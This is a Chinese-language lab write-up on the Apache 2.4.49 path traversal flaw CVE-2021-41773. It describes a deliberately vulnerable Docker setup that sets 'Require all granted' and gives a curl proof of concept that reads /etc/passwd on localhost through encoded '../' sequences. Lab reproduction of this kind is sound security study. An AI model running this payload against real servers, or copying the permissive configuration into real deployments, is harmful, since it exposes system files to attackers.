CVE-2021-41773 – Apache 路径遍历报告

---

摘要

• Apache HTTP Server 2.4.49 版本中发现的漏洞，根据 Web 服务器配置，可通过路径遍历攻击暴露系统敏感文件
• 路径遍历：攻击者可通过包含 ../ 的路径访问 Web 根目录之外的文件

---

信息

• 漏洞名称：CVE-2021-41773
• 受影响版本：Apache HTTP Server 2.4.49
• 漏洞类型：路径遍历
• 官方补丁情况：已在 2.4.50 及以上版本修补

---

实验环境配置

• 基础镜像：httpd:2.4.49（DockerHub）
• 容器运行方式：Dockerfile + docker-compose.yml
• 运行端口：8080 → 映射到容器 80 端口
• Apache 配置修改：改为 Require all granted（启用路径遍历）

---

环境运行方法

• git clone https://github.com/JIYUN02/cve-2021-41773.git
• cd cve-2021-41773
• docker-compose up --build

---

漏洞 PoC

• curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

---

详细过程

1. 运行任务所需目录

2. 制作 Dockerfile

-> 基础镜像：httpd:2.4.49（存在漏洞的版本）

-> 'sed -i 's/Require all denied/Require all granted/g'：允许路径遍历及外部访问

3. docker-compose.yml

-> 定义 Apache

-> 将 8080 端口映射到容器的 80 端口

4. 运行 docker

   

5. 执行 PoC

   

-> curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

-> /etc/passwd 包含敏感信息，%2e 是 .. 的 URL 编码，表示跳转至上级目录

-> 通过路径操作使服务器访问 /etc/passwd 并输出内容

7. 执行结果

-> 如上图所示，可访问敏感目录

---

通过 Fork 可访问的仓库 URL

https://github.com/JIYUN02/cve-2021-41773

-> 存在提交历史